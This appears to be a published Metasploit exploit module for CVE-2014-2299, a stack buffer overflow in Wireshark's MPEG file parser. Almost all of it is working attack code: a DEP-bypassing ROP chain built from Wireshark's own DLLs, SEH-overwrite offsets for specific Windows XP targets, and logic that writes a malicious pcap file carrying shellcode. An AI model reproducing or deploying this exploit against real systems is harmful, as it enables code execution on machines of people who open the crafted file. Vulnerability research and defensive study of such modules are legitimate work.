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# Exploit Title: Wireshark 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow # Date: 24/04/2014 # Exploit Author: j0sm1 # Vendor Homepage: www.wireshark.org # Software Link: http://wireshark.askapache.com/download/win32/all-versions/ # Version: < 1.8.12/1.10.5 # Tested on: Windows XP SP3 # CVE : cve-2014-2299 # Metasploit URL module: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb # # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow', 'Description'=> %q{ This module triggers a stack buffer overflow in Wireshark <= 1.8.12/1.10.5 by generating an malicious file.) }, 'License'=> MSF_LICENSE, 'Author' => [ 'Wesley Neelen', # Discovery vulnerability 'j0sm1',# Exploit and msf module ], 'References' => [ [ 'CVE', '2014-2299'], [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=9843' ], [ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2014-04.html' ], [ 'URL', 'https://www.securityfocus.com/bid/66066/info' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'BadChars'=> "\xff", 'Space' => 600, 'DisableNops' => 'True', 'PrependEncoder' => "\x81\xec\xc8\x00\x00\x00" # sub esp,200 }, 'Platform' => 'win', 'Targets'=> [ [ 'WinXP SP3 Spanish (bypass DEP)', { 'OffSet' => 69732, 'OffSet2' => 70476, 'Ret'=> 0x1c077cc3, # pop/pop/ret -> "c:\Program Files\Wireshark\krb5_32.dll" (version: 1.6.3.16) 'jmpesp' => 0x68e2bfb9, } ], [ 'WinXP SP2/SP3 English(bypass DEP)', { 'OffSet2' => 70692, 'OffSet' => 70476, 'Ret'=> 0x1c077cc3, # pop/pop/ret -> krb5_32.dll module 'jmpesp' => 0x68e2bfb9, } ], ], 'Privileged' => false, 'DisclosureDate' => 'Mar 20 2014' )) register_options( [ OptString.new('FILENAME', [ true, 'pcap file','mpeg_overflow.pcap']), ], self.class) end def create_rop_chain() # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x61863c2a,# POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x62d9027c,# ptr to &VirtualProtect() [IAT libcares-2.dll] 0x61970969,# MOV EAX,DWORD PTR DS:[EAX] # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x61988cf6,# XCHG EAX,ESI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x619c0a2a,# POP EBP # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x61841e98,# & push esp # ret[libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x6191d11a,# POP EBX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x00000201,# 0x00000201-> ebx 0x5a4c1414,# POP EDX # RETN [zlib1.dll, ver: 1.2.5.0] 0x00000040,# 0x00000040-> edx 0x6197660f,# POP ECX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x668242b9,# &Writable location [libgnutls-26.dll] 0x6199b8a5,# POP EDI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0 0x63a528c2,# RETN (ROP NOP) [libgobject-2.0-0.dll] 0x61863c2a,# POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] 0x90909090,# nop 0x6199652d,# PUSHAD # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] ].flatten.pack("V*") return rop_gadgets end def exploit print_status("Creating '#{datastore['FILENAME']}' file ...") ropchain = create_rop_chain magic_header = "\xff\xfb\x41"# mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure # Here we build the packet data packet = rand_text_alpha(883) packet << "\x6c\x7d\x37\x6c" # NOP RETN packet << "\x6c\x7d\x37\x6c" # NOP RETN packet << ropchain packet << payload.encoded# Shellcode packet << rand_text_alpha(target['OffSet'] - 892 - ropchain.length - payload.encoded.length) # 0xff is a badchar for this exploit then we can't make a jump back with jmp $-2000 # After nseh and seh we haven't space, then we have to jump to another location. # When file is open with command line. This is NSEH/SEH overwrite packet << make_nops(4) # nseh packet << "\x6c\x2e\xe0\x68" # ADD ESP,93C # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN packet << rand_text_alpha(target['OffSet2'] - target['OffSet'] - 8) # junk # When file is open with GUI interface. This is NSEH/SEH overwrite packet << make_nops(4) # nseh # seh -> # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN** [libjpeg-8.dll] ** packet << "\x55\x59\x80\x6b" print_status("Preparing payload") filecontent = magic_header filecontent << packet print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes") file_create(filecontent) end end |
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